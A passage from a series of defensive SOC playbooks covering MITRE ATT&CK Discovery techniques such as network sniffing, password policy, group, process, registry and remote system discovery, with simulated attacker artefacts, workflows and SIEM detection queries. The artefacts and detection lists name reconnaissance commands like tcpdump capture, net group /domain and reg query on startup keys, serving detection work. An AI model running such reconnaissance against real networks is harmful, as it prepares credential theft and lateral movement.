Attacker intent

- Find valuable or sensitive data

3B) Lateral Movement Preparation

Indicators

- Identification of writable shares

Attacker intent

- Stage tools or malware

3C) Impact Planning

Indicators

- Discovery of backup or archive shares

Attacker intent

- Target ransomware impact

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. File and Directory Discovery
 - Sensitive file access on shares
2. Lateral Movement
 - Use of shares for tool transfer
3. Exfiltration
 - Data copied from shares
4. Impact
 - Share encryption or deletion

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Block or limit suspicious share enumeration
2. Isolate compromised endpoints if required
3. Increase monitoring on identified shares

If abuse confirmed

1. Restrict or remove unnecessary share permissions
2. Disable or secure writable shares
3. Rotate credentials with share access
4. Preserve file server and SMB logs for forensics

Eradication and recovery

- Remove attacker footholds
- Enforce least privilege on network shares
- Segment sensitive shares with stricter access controls
- Audit and clean up unused or legacy shares
- Monitor closely for renewed share discovery

Detection engineering (SIEM ideas)

A) Share enumeration commands

```
index=windows  
| where command IN ("net view","net share","Get-SmbShare")
```

B) Multi-host share discovery

```
index=network  
| stats dc(dest_host) by src_host  
| where dc(dest_host) > threshold
```

C) Share discovery by non-admin

```
index=edr  
| where action="ShareDiscovery"  
| where user_role!="Admin"
```

Analyst checklist

- Network share discovery confirmed
- Hosts and shares identified
- Authorisation assessed
- Follow-on risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat network share discovery as early lateral-movement and data-theft signal
- Minimise exposed and writable shares
- Enforce strong access control and auditing on shares
- Monitor share discovery → file access chains
- Include share abuse scenarios in SOC and purple-team exercises

Playbook 166 (MITRE Discovery): Network Sniffing

Technique: Network Sniffing

Purpose

Detect, investigate and respond to attacker attempts to capture network traffic, enabling attackers to:

- Collect credentials, tokens, session cookies or API keys
- Observe internal protocols, services and data flows
- Identify authentication mechanisms and encryption gaps
- Bypass perimeter controls by abusing trusted internal traffic
- Prepare for credential access, lateral movement or impersonation

Network Sniffing is passive network reconnaissance attackers learn what moves across the wire without actively interacting.

When to trigger this playbook

Trigger this playbook when indicators suggest packet capture or traffic interception, including:

- Processes opening network interfaces in promiscuous mode
- Use of packet capture tools or libraries
- Abnormal access to network device interfaces or raw sockets
- Sniffing activity from non-admin users or unexpected systems
- Network sniffing preceding credential access or impersonation

Example use case scenario (end-to-end)

Context: SOC detects a compromised Linux server enabling promiscuous mode on its network interface. Shortly after, packet capture files are created and stored locally. Captured traffic includes plaintext credentials used for lateral movement.

Attacker objective: Harvest credentials and session data from internal network traffic.

Defender objective: Detect traffic interception early and prevent credential compromise.

What it looks like (simulated SOC artefacts)

A) Promiscuous Mode Enabled

Interface=eth0

Mode=Promiscuous
User=www-data

B) Packet Capture Tool Execution

Command=tcpdump -i eth0 -w capture.pcap

C) Raw Socket Access

Process=unknown.bin
Action=OpenRawSocket

D) Packet Capture File Creation

File=capture.pcap
Location=/tmp/

E) Focus on Auth Traffic

Filter=port 80 or 389 or 445

F) Recon-Only Phase

TrafficInjection=None
Phase=Discovery

Severity decision (SOC)

Low

- Approved network troubleshooting or diagnostics

Medium

- Packet capture activity by non-admin user or service

High / Critical

1. Network sniffing on production systems
2. Sniffing followed by credential reuse or impersonation

Example severity: Critical

(Promiscuous capture on server + credential theft)

Step-by-step SOC workflow

Step 1 Validate network sniffing activity

Confirm:

1. Which interface(s) were used for sniffing?
2. Was the activity authorised for the user/process?
3. Is capture broad or filtered for sensitive protocols?
4. Does sniffing precede credential access or lateral movement?

Decision point

- Legitimate diagnostics → document and monitor
- Suspicious sniffing → continue investigation immediately

Step 2 Identify sniffing method and scope

Method	Evidence	Attacker value
Promiscuous mode	Interface settings	Full traffic
Packet capture tools	tcpdump, wireshark	Data harvest
Raw sockets	Kernel access	Stealth capture
Filtered capture	Auth ports	Credential theft
PCAP storage	Capture files	Offline analysis

Step 3 Map behaviour to attacker intent

3A) Credential Harvesting

Indicators

- Capture of auth-related protocols

Attacker intent

- Steal passwords, tokens, sessions

3B) Network Mapping

Indicators

- Broad unfiltered traffic capture

Attacker intent

- Understand internal flows

3C) Impersonation Preparation

Indicators

- Focus on Kerberos, LDAP, HTTP

Attacker intent

- Replay or hijack sessions

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Input capture, forced authentication
2. Use Alternate Authentication Material
 - Pass-the-hash/ticket, session replay
3. Lateral Movement
 - SMB, RDP, WinRM using stolen creds
4. Exfiltration
 - Transfer of PCAP files

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Disable promiscuous mode on affected interfaces
2. Terminate packet capture processes
3. Isolate compromised hosts

If abuse confirmed

1. Rotate credentials observed or suspected in captured traffic
2. Block raw socket and packet capture capabilities
3. Preserve PCAP files and system logs for forensics
4. Expand hunt to systems communicating with the sniffer

Eradication and recovery

- Remove attacker footholds
- Enforce least privilege for network interface access
- Enable encrypted protocols internally (TLS, LDAPS, SMB signing)
- Monitor interfaces for promiscuous mode changes
- Validate no backdoors or sniffers remain

Detection engineering (SIEM ideas)

A) Promiscuous mode detection

index=edr
| where action="PromiscuousModeEnabled"

B) Packet capture tool execution

index=edr
| where command IN ("tcpdump","tshark","wireshark")

C) Raw socket usage by non-admin

index=edr
| where action="OpenRawSocket"
| where user_role!="Admin"

Analyst checklist

- Network sniffing confirmed
- Interfaces and scope identified
- Authorisation assessed
- Credential exposure risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat network sniffing as high-risk credential exposure event
- Enforce encryption on all internal authentication traffic
- Restrict packet capture and raw socket access
- Monitor for sniffing → credential reuse chains
- Include sniffing-based attacks in SOC and purple-team exercises

Playbook 167 (MITRE Discovery): Password Policy Discovery

Technique: Password Policy Discovery

Purpose

Detect, investigate and respond to attacker discovery of password and authentication policies, enabling attackers to:

- Understand password length, complexity and history requirements
- Identify lockout thresholds and reset behaviour
- Optimise brute force, spraying or credential stuffing attacks
- Reduce detection by staying within policy limits
- Select the most effective credential access technique

Password Policy Discovery is authentication-rule reconnaissance attackers learn how passwords are protected before attempting to break or bypass them.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of password or authentication policies, including:

- Commands or queries retrieving domain or local password policies
- LDAP or directory queries for password-related attributes
- PowerShell or CLI inspection of authentication settings
- Policy discovery by non-admin or compromised accounts
- Password policy discovery preceding brute force or spraying activity

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation querying domain password policy settings using PowerShell. The attacker learns the lockout threshold is high and password complexity is weak. Soon after, a low-and-slow password spraying attack succeeds.

Attacker objective: Optimise credential attacks by staying within password policy limits.

Defender objective: Detect policy reconnaissance early and prevent credential compromise.

What it looks like (simulated SOC artefacts)

A) Domain Password Policy Query

Command=net accounts /domain
User=standard_user

B) PowerShell-Based Discovery

Get-ADDefaultDomainPasswordPolicy

C) LDAP Attribute Queries

Attributes=minPwdLength, lockoutThreshold, pwdHistoryLength

D) Local Policy Inspection

Command=secedit /export

E) Focus on Lockout Settings

LockoutThreshold=10
LockoutDuration=0

F) Recon-Only Phase

AuthAttempts=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate security review or audit activity

Medium

- Password policy discovery by non-admin identity

High / Critical

- Policy discovery followed by brute force or password spraying
- Discovery revealing weak or permissive password controls

Example severity: High

(Non-admin policy discovery + follow-on spraying)

Step-by-step SOC workflow

Step 1 Validate password policy discovery

Confirm:

1. Which policies were queried (domain, local, cloud)?
2. Was the activity authorised for the user/process?
3. Is discovery broad or focused on lockout/complexity?
4. Does it precede authentication abuse attempts?

Decision point

- Legitimate audit → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
CLI tools	net accounts	Quick insight
PowerShell	Get-ADDefaultDomainPasswordPolicy	Automation
LDAP queries	Policy attributes	Precision
Local policy export	secedit	Offline analysis
Cloud policy APIs	Identity settings	SaaS targeting

Step 3 Map behaviour to attacker intent

3A) Brute Force Optimisation

Indicators

- Queries for lockout threshold and duration

Attacker intent

- Avoid account lockouts

3B) Password Guessing Strategy

Indicators

- Discovery of minimum length and complexity

Attacker intent

- Reduce guess space

3C) Spray Planning

Indicators

- Domain-wide policy inspection

Attacker intent

- Launch safe password spraying

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Brute Force
 - Password guessing or spraying
2. Valid Accounts
 - Authentication attempts across users
3. Credential Stuffing
 - Reuse of leaked credentials
4. Multi-Factor Authentication Abuse
 - MFA bypass or fatigue

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Increase monitoring on authentication systems
2. Alert on abnormal or distributed login attempts
3. Temporarily restrict suspicious accounts

If abuse confirmed

1. Force password resets for affected users
2. Adjust lockout and complexity policies if weak
3. Block offending source IPs or identities
4. Preserve authentication logs for investigation

Eradication and recovery

- Remove attacker footholds
- Strengthen password and authentication policies
- Enforce MFA consistently
- Educate users on password hygiene
- Monitor closely for renewed policy discovery

Detection engineering (SIEM ideas)

A) Password policy query detection

```
index=windows
| where command IN ("net accounts /domain","Get-ADDefaultDomainPasswordPolicy")
```

B) LDAP policy attribute access

```
index=directory
| where attribute IN ("minPwdLength","lockoutThreshold","pwdHistoryLength")
| where user_role!="Admin"
```

C) Policy discovery followed by auth attempts

```
index=auth
| transaction user
| where policy_query=true AND auth_attempts>threshold
```

Analyst checklist

- Password policy discovery confirmed
- Policies and scope identified
- Authorisation assessed
- Follow-on credential attack risk evaluated
- Monitoring strengthened

Post-incident improvements

- Treat password policy discovery as precursor to credential attacks
- Harden password and lockout configurations
- Enforce MFA across all access paths
- Monitor policy discovery → login abuse chains
- Include password policy abuse scenarios in SOC and purple-team exercises

Playbook 168 (MITRE Discovery): Peripheral Device Discovery

Technique: Peripheral Device Discovery

Purpose

Detect, investigate and respond to attacker discovery of connected peripheral devices, enabling attackers to:

- Identify removable storage devices (USB, external HDD/SSD)
- Discover input/output devices (keyboard, mouse, smart cards)
- Detect connected mobile devices or tethered hardware
- Identify security-related peripherals (smart card readers, HSMs)
- Plan data exfiltration, credential theft or physical-layer attacks

Peripheral Device Discovery is hardware-adjacent reconnaissance attackers learn what external devices are connected and how they can be abused.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of peripheral devices, including:

- Commands or APIs listing USB, HID, Bluetooth or removable devices
- Queries against device management subsystems (PnP, udev, system profiler)
- Enumeration of mounted removable media without legitimate use
- Discovery by non-admin or suspicious processes
- Peripheral discovery preceding data access, exfiltration or persistence

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation enumerating USB devices and mounted removable media. An external backup drive is identified. Shortly after, sensitive files are copied to the removable device for offline exfiltration.

Attacker objective: Identify external or removable devices to move data outside monitored channels.

Defender objective: Detect peripheral reconnaissance early and prevent physical data exfiltration.

What it looks like (simulated SOC artefacts)

A) USB Device Enumeration (Windows)

Command=wmic path Win32_USBControllerDevice get Dependent
User=standard_user

B) Removable Media Listing (Linux)

Command=lsusb
Result=USB Storage Device

C) Mounted Device Discovery

Command=mount
MountPoint=/media/usb_backup

D) Plug and Play Query

Get-PnpDevice -Class USB

E) Smart Card / Security Peripheral Detection

Device=SmartCardReader
Status=Connected

F) Recon-Only Phase

FileCopy=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate hardware troubleshooting or user activity

Medium

- Peripheral discovery by non-admin or background process

High / Critical

- Discovery of removable storage or security peripherals
- Discovery followed by data copy, credential access or persistence

Example severity: High

(USB enumeration followed by file transfer to removable drive)

Step-by-step SOC workflow

Step 1 Validate peripheral device discovery

Confirm:

1. Which peripherals were enumerated (USB, Bluetooth, smart card)?
2. Was the activity authorised for the user/process?
3. Is discovery broad or focused on storage/security devices?
4. Does it precede suspicious file or credential activity?

Decision point

- Legitimate user activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
USB enumeration	lsusb, PnP queries	Removable media
Mounted device checks	mount, df	Data paths
Device manager APIs	PnP, udev	Hardware mapping
Smart card detection	Reader queries	Auth targeting
Bluetooth scans	Nearby devices	Covert channels

Step 3 Map behaviour to attacker intent

3A) Data Exfiltration Planning

Indicators

- Discovery of removable storage

Attacker intent

- Bypass network controls

3B) Credential Access Preparation

Indicators

- Enumeration of smart cards or security tokens

Attacker intent

- Steal or misuse authentication material

3C) Persistence or Covert Channels

Indicators

- Bluetooth or HID device discovery

Attacker intent

- Maintain access or exfiltrate covertly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - File copy to removable media
2. Credential Access
 - Smart card or token abuse
3. Persistence
 - Malicious HID or device-based triggers
4. Impact
 - Data theft outside network visibility

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Disable or restrict removable media access if necessary
2. Isolate affected endpoints
3. Increase monitoring on device and file access

If abuse confirmed

1. Secure or disconnect affected peripheral devices
2. Review DLP and endpoint device control policies
3. Rotate credentials potentially exposed via peripherals
4. Preserve device and system logs for forensics

Eradication and recovery

- Remove attacker footholds
- Enforce strict device control and USB policies
- Encrypt removable media where permitted
- Limit smart card and token access to authorised workflows
- Monitor closely for renewed peripheral discovery

Detection engineering (SIEM ideas)

A) Peripheral enumeration commands

```
index=edr  
| where command IN ("lsusb","Get-PnpDevice","wmic path Win32_USBControllerDevice")
```

B) Removable media discovery

```
index=edr  
| where device_type="Removable"  
| where action="Enumerate"
```

C) Peripheral discovery by non-admin

```
index=edr  
| where action="PeripheralDiscovery"  
| where user_role!="Admin"
```

Analyst checklist

- Peripheral device discovery confirmed
- Devices and scope identified
- Authorisation assessed
- Follow-on data or credential risk evaluated
- Controls strengthened

Post-incident improvements

- Treat peripheral discovery as precursor to physical data exfiltration
- Enforce endpoint device control policies
- Monitor removable media usage continuously
- Correlate device discovery → file copy behaviour
- Include peripheral-based attack scenarios in SOC and purple-team exercises

Playbook 169 (MITRE Discovery): Permission Groups Discovery

Technique: Permission Groups Discovery

Sub-techniques:

- Local Groups
- Domain Groups
- Cloud Groups

Purpose

Detect, investigate and respond to attacker discovery of permission groups across local systems, Active Directory and cloud environments, enabling attackers to:

- Identify privileged groups (Administrators, Domain Admins, Cloud Admins)
- Map role-based access and privilege boundaries
- Select targets for credential theft or privilege escalation
- Plan lateral movement using group-based permissions
- Abuse misconfigured or over-privileged group memberships

Permission Groups Discovery is authorisation reconnaissance attackers learn who has power and where before escalating or moving laterally.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of group memberships or role assignments, including:

- Commands listing local, domain or cloud groups
- Queries for group membership attributes
- Enumeration of privileged or administrative roles
- Discovery activity from non-admin or compromised identities
- Group discovery preceding credential abuse or privilege escalation

Example use case scenario (end-to-end)

Context: SOC detects a compromised user enumerating domain groups and cloud role assignments. The attacker identifies a nested group that grants administrative access to critical systems. Later, credentials belonging to a member of that group are targeted and abused.

Attacker objective: Map who holds privileged access to guide escalation and movement.

Defender objective: Detect group reconnaissance early and protect privileged identities.

What it looks like (simulated SOC artefacts)

A) Local Group Enumeration

Command=net localgroup

Result=Administrators, Backup Operators

B) Domain Group Discovery

Command=net group /domain

Result=Domain Admins, Server Operators

C) PowerShell Group Queries

Get-ADGroup -Filter *

D) Group Membership Inspection

Get-ADGroupMember "Domain Admins"

E) Cloud Role Enumeration

API=ListDirectoryRoles

Roles=GlobalAdmin, SecurityAdmin

F) Recon-Only Phase

MembershipChange=None

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate admin review or access audit

Medium

- Group discovery by non-admin identity

High / Critical

- Enumeration of privileged groups by compromised user
- Group discovery followed by credential targeting or escalation

Example severity: High

(Non-admin enumerating Domain Admin and cloud admin groups)

Step-by-step SOC workflow

Step 1 Validate permission groups discovery

Confirm:

- Which group types were enumerated (local, domain, cloud)?
- Was the activity authorised for the user/process?
- Is discovery broad or focused on privileged groups?
- Does it precede suspicious authentication or escalation activity?

Decision point

- Legitimate access review → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Scope	Method	Attacker value
Local groups	net localgroup	Host-level privilege
Domain groups	net group, LDAP	Lateral movement
Group members	Get-ADGroupMember	Target selection
Cloud roles	Identity APIs	Tenant compromise
Nested groups	Recursive queries	Hidden privilege paths

Step 3 Map behaviour to attacker intent

3A) Privileged Identity Mapping

Indicators

- Enumeration of admin or operator groups

Attacker intent

- Identify high-value accounts

3B) Escalation Path Discovery

Indicators

- Nested group inspection

Attacker intent

- Find indirect privilege paths

3C) Cloud Control Plane Targeting

Indicators

- Enumeration of cloud admin roles

Attacker intent

- Compromise tenant-level access

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Credential Access
 - Targeting of privileged users
- Privilege Escalation
 - Group membership abuse
- Valid Accounts
 - Login attempts by group members
- Lateral Movement
 - Use of group-based access paths

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Increase monitoring on privileged group members
2. Alert on group membership changes
3. Isolate compromised identities if necessary

If abuse confirmed

1. Reset credentials for affected privileged accounts

2. Remove unauthorised group memberships
3. Restrict group enumeration permissions
4. Preserve directory and cloud audit logs

Eradication and recovery

- Remove attacker footholds
- Audit all privileged groups for least privilege
- Reduce nested and legacy group memberships
- Enforce just-in-time (JIT) or privileged access management (PAM)
- Monitor closely for renewed group discovery

Detection engineering (SIEM ideas)

A) Local and domain group enumeration

index=windows
| where command IN ("net localgroup","net group /domain")

B) PowerShell group discovery

index=windows
| where script_block LIKE "%Get-ADGroup%"

C) Cloud role enumeration

index=cloud_audit
| where api_action IN ("ListDirectoryRoles","GetRoleAssignments")
| where caller_role!="Admin"

Analyst checklist

- Permission group discovery confirmed
- Group scope and privilege level identified
- Authorisation assessed
- Privilege escalation risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat group discovery as precursor to privilege escalation
- Minimise privileged and nested group memberships
- Monitor group discovery → credential targeting chains
- Enforce strong auditing on directory and cloud roles

- Include permission group abuse scenarios in SOC and purple-team exercises

Playbook 170 (MITRE Discovery): Process Discovery

Technique: Process Discovery

Purpose

Detect, investigate and respond to attacker discovery of running processes on systems, enabling attackers to:

- Identify security tools, EDR, AV and monitoring agents
- Discover privileged, vulnerable or misconfigured applications
- Understand how systems are being used (servers vs users)
- Select targets for injection, evasion or termination
- Adapt malware behaviour to avoid detection

Process Discovery is runtime reconnaissance attackers learn what is currently executing before deciding how to hide, escalate or persist.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of running processes, including:

- Commands listing processes or services
- API calls querying process tables
- Repeated process inspection by suspicious binaries
- Discovery from non-admin or compromised identities
- Process discovery preceding injection, evasion or termination

Example use case scenario (end-to-end)

Context: SOC detects a suspicious process enumerating all running processes on a workstation. The enumeration focuses on EDR, AV and credential-related processes. Shortly after, the attacker injects code into a trusted system process to evade detection.

Attacker objective: Identify which processes to avoid, disable or abuse.

Defender objective: Detect runtime reconnaissance early and protect critical processes.

What it looks like (simulated SOC artefacts)

A) Process Listing (Windows)

Command=tasklist

User=standard_user

B) Detailed Process Enumeration

Command=wmic process list full

C) Linux Process Discovery

Command=ps aux

D) Security Tool Targeting

ProcessQueried=edr_agent.exe, antivirus.exe

Frequency=High

E) API-Based Discovery

API=CreateToolhelp32Snapshot

Action=EnumerateProcesses

F) Recon-Only Phase

ProcessKill=None

Injection=None

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate troubleshooting or administration

Medium

- Process discovery by non-admin user or unknown binary

High / Critical

- Enumeration of security or credential-related processes
- Discovery followed by injection, evasion or termination

Example severity: High

(EDR process enumeration prior to process injection)

Step-by-step SOC workflow

Step 1 Validate process discovery

Confirm:

- Which processes were enumerated?
- Was the activity authorised for the user/process?
- Is discovery broad or focused on security/privileged processes?
- Does it precede process manipulation or evasion?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
CLI tools	tasklist, ps	Quick overview
WMI / APIs	Process snapshots	Automation
Repeated polling	High frequency checks	Evasion prep
Targeted queries	Security processes	Defense bypass
Service correlation	Process-service mapping	Persistence

Step 3 Map behaviour to attacker intent

3A) Defense Awareness

Indicators

- Enumeration of EDR, AV, logging processes

Attacker intent

- Avoid or disable defenses

3B) Injection Target Selection

Indicators

- Focus on trusted system processes

Attacker intent

- Hide malicious code

3C) Privilege Context Mapping

Indicators

- Inspection of SYSTEM or root processes

Attacker intent

- Escalate or impersonate

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Process Injection
 - DLL injection, hollowing
- Defense Evasion
 - Security process termination
- Privilege Escalation
 - Token manipulation
- Persistence
 - Services, scheduled tasks

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate suspicious discovery processes
2. Isolate affected endpoints if risk escalates
3. Protect and monitor critical security processes

If abuse confirmed

1. Block malicious binaries and hashes
2. Restore affected security services
3. Reset credentials if process access was abused
4. Preserve memory and process telemetry

Eradication and recovery

- Remove attacker footholds
- Enforce tamper protection on security tools
- Restrict process inspection privileges
- Harden EDR self-protection
- Monitor closely for renewed runtime discovery

Detection engineering (SIEM ideas)

A) Process enumeration commands

index=edr
| where command IN ("tasklist","ps aux","wmic process list")

B) API-based process discovery

index=edr
| where api_call IN ("CreateToolhelp32Snapshot","EnumProcesses")

C) Security process targeting

index=edr
| where target_process IN security_process_list
| where action="Query"

Analyst checklist

- Process discovery confirmed
- Processes and scope identified
- Authorisation assessed
- Injection/evasion risk evaluated
- Controls strengthened

Post-incident improvements

- Treat process discovery as precursor to injection and evasion
- Harden and hide security process telemetry
- Enable EDR anti-tamper protections
- Monitor process discovery → manipulation chains
- Include runtime reconnaissance scenarios in SOC and purple-team exercises

Playbook 171 (MITRE Discovery): Query Registry

Technique: Query Registry

Purpose

Detect, investigate and respond to attacker querying of the Windows Registry to gather system, user and security configuration details, enabling attackers to:

- Identify installed software, services and startup items
- Discover security controls, AV/EDR presence and exclusions
- Locate credentials, tokens or sensitive configuration values
- Understand persistence mechanisms and privilege settings
- Plan defense evasion, privilege escalation or lateral movement

Query Registry is configuration reconnaissance attackers learn how the system is configured before acting.

When to trigger this playbook

Trigger this playbook when indicators suggest read-only registry inspection, including:

- Commands or APIs querying registry keys/values
- Repeated reads of security-, startup- or credential-related hives
- Registry discovery by non-admin or suspicious processes
- Broad enumeration across multiple hives (HKLM, HKCU)
- Registry queries preceding persistence, evasion or escalation

Example use case scenario (end-to-end)

Context: SOC detects a suspicious process enumerating registry keys related to startup programs and security software. The process reads multiple keys under Run, Services and AV policy paths. Shortly after, the attacker deploys persistence while avoiding detected security tools.

Attacker objective: Map system configuration and defenses to choose stealthy actions.

Defender objective: Detect registry reconnaissance early and protect sensitive configuration.

What it looks like (simulated SOC artefacts)

A) Registry Query via CLI

Command=reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
User=standard_user

B) Service Configuration Discovery

reg query HKLM\SYSTEM\CurrentControlSet\Services
Action=Read

C) Security Software Detection

Path=HKLM\SOFTWARE\Microsoft\Windows Defender
QueryFrequency=High

D) User Context Enumeration

reg query HKCU\Software
Scope=UserSettings

E) API-Based Registry Reads

API=RegOpenKeyEx
Access=READ

F) Recon-Only Phase

RegistryWrite=None
Phase=Discovery

Severity decision (SOC)

Low

- Legitimate troubleshooting, inventory or admin scripts

Medium

- Registry discovery by non-admin identity

High / Critical

- Targeted queries for security, startup or credential keys
- Registry discovery followed by persistence or evasion

Example severity: High

(Security-related registry enumeration prior to persistence)

Step-by-step SOC workflow

Step 1 Validate registry query activity

Confirm:

- Which hives and keys were queried (HKLM, HKCU, Services, Run)?
- Was the activity authorised for the user/process?
- Is querying broad or focused on sensitive paths?
- Does it precede registry modification or execution changes?

Decision point

- Legitimate admin activity → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
CLI tools	reg query	Fast visibility
PowerShell	Get-ItemProperty	Automation
Win32 APIs	RegOpenKeyEx	Stealth
Service keys	Services*	Persistence planning
Security keys	AV/EDR paths	Evasion prep

Step 3 Map behaviour to attacker intent

3A) Defense Awareness

Indicators

- Queries of AV/EDR policy keys

Attacker intent

- Avoid or disable defenses

3B) Persistence Planning

Indicators

- Reads of Run, RunOnce, Services

Attacker intent

- Choose reliable startup methods

3C) Privilege & Context Mapping

Indicators

- Enumeration of system-wide vs user keys

Attacker intent

- Select escalation or impersonation paths

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Modify Registry
 - Persistence or policy changes
- Boot or Logon Autostart Execution
 - Startup abuse
- Defense Evasion
 - AV exclusions or tampering
- Privilege Escalation
 - Service misconfigurations

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Monitor and alert on further registry access by the process
2. Isolate affected endpoint if risk escalates
3. Protect sensitive registry paths

If abuse confirmed

1. Revert unauthorised registry changes
2. Restore security policies and startup settings
3. Block malicious binaries and scripts
4. Preserve registry access logs and telemetry

Eradication and recovery

- Remove attacker footholds
- Enforce least privilege for registry access
- Harden registry auditing for sensitive keys
- Enable tamper protection on security software
- Monitor closely for renewed registry reconnaissance

Detection engineering (SIEM ideas)

A) Registry query commands

index=windows
| where command LIKE "reg query%"

B) Sensitive registry path reads

index=edr
| where registry_path IN sensitive_registry_paths
| where access_type="Read"

C) API-based registry enumeration

index=edr
| where api_call IN ("RegOpenKeyEx", "RegEnumKeyEx")

Analyst checklist

- Registry querying confirmed
- Hives/keys and scope identified
- Authorisation assessed
- Follow-on persistence/evasion risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat registry querying as precursor to persistence and evasion
- Audit and protect sensitive registry keys
- Alert on enumeration of security and startup paths
- Monitor registry discovery → registry modification chains
- Include registry recon scenarios in SOC and purple-team exercises

Playbook 172 (MITRE Discovery): Remote System Discovery

Technique: Remote System Discovery

Purpose

Detect, investigate and respond to attacker discovery of remote systems across the network, enabling attackers to:

- Identify reachable hosts, servers, workstations and devices
- Map network scope beyond the initially compromised system
- Locate high-value targets (DCs, file servers, databases)
- Identify trust boundaries and segmentation gaps
- Plan lateral movement, exploitation or credential reuse

Remote System Discovery is host-level reconnaissance attackers learn what systems exist and where they live before moving.

When to trigger this playbook

Trigger this playbook when indicators suggest enumeration of remote systems, including:

- Commands querying remote hosts or computer objects
- Network sweeps identifying live systems
- Directory queries listing computers or servers
- Remote discovery from non-admin or compromised identities
- System discovery preceding lateral movement or service access

Example use case scenario (end-to-end)

Context: SOC detects a compromised user account querying Active Directory for all computer objects. The same host then performs network probes against newly identified servers. Shortly after, SMB authentication attempts target a discovered file server.

Attacker objective: Identify reachable systems to expand access.

Defender objective:

Detect host reconnaissance early and stop lateral spread.

What it looks like (simulated SOC artefacts)

A) Active Directory Computer Enumeration

Command=Get-ADComputer -Filter *

User=standard_user

B) NetBIOS / Network Host Discovery

Command=net view

Result=WORKSTATION01, FILESERVER01

C) Network Sweep

Source=10.10.5.23

Targets=10.10.5.0/24

Action=Ping/Connect

D) DNS-Based Discovery

Query=*.corp.local

Result=MultipleHosts

E) Server-Focused Enumeration

Filter=OperatingSystem=*Server*

Result=DC01, SQL01

F) Recon-Only Phase

AuthAttempts=None

Phase=Discovery

Severity decision (SOC)

Low

- Legitimate inventory, monitoring or admin activity

Medium

- Remote system discovery by non-admin identity

High / Critical

- Broad host discovery across segments
- Discovery followed by authentication or service access attempts

Example severity: High

(Non-admin enumerating servers and DCs)

Step-by-step SOC workflow

Step 1 Validate remote system discovery

Confirm:

- Which systems were enumerated (workstations, servers, DCs)?
- Was the activity authorised for the user/process?
- Is discovery broad (entire domain) or targeted?
- Does it precede lateral movement or exploitation?

Decision point

- Legitimate asset management → document and monitor
- Suspicious discovery → continue investigation immediately

Step 2 Identify discovery method and scope

Method	Evidence	Attacker value
AD queries	Get-ADComputer	Domain mapping
NetBIOS	net view	Legacy visibility
Network sweeps	Ping/Connect	Live hosts
DNS enumeration	Zone queries	Hostnames
OS filtering	Server queries	High-value targeting

Step 3 Map behaviour to attacker intent

3A) Network Expansion

Indicators

- Enumeration of all computers

Attacker intent

- Understand attack surface

3B) High-Value Target Identification

Indicators

- Focus on servers, DCs, databases

Attacker intent

- Maximise impact

3C) Lateral Movement Preparation

Indicators

- Discovery followed by service probing

Attacker intent

- Move across systems

Step 4 Hunt for follow-on actions

Immediately pivot to:

- Lateral Movement
 - SMB, RDP, WinRM, SSH
- Valid Accounts
 - Authentication attempts on discovered hosts
- Network Service Discovery
 - Port and service scanning
- Credential Access
 - Password spraying or reuse

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Rate-limit or block suspicious host enumeration
2. Isolate compromised source systems if necessary
3. Increase monitoring on discovered high-value hosts

If abuse confirmed

1. Restrict network access between segments
2. Rotate credentials used or exposed during discovery
3. Harden firewall and access control rules
4. Preserve network and directory logs for forensics

radication and recovery

- Remove attacker footholds
- Enforce least privilege for directory and network queries
- Improve network segmentation
- Limit visibility of critical systems
- Monitor closely for renewed host discovery

Detection engineering (SIEM ideas)

A) AD computer enumeration

```
index=directory  
| where command LIKE "%Get-ADComputer%"  
| where user_role!="Admin"
```

B) Network sweep detection

```
index=network  
| stats dc(dest_ip) by src_ip  
| where dc(dest_ip) > threshold
```

C) Remote discovery followed by auth attempts

```
index=auth  
| transaction src_host  
| where discovery=true AND auth_attempts>0
```

Analyst checklist

- Remote system discovery confirmed
- Hosts and scope identified
- Authorisation assessed
- Lateral movement risk evaluated
- Controls and monitoring strengthened

Post-incident improvements

- Treat remote system discovery as early lateral-movement signal
- Reduce directory and network visibility for non-admin users
- Segment and shield critical systems
- Monitor host discovery → service access chains
- Include host-recon scenarios in SOC and purple-team exercises

Playbook 173 (MITRE Discovery): Software Discovery

Technique: Software Discovery

Sub-techniques:

- Security Software Discovery
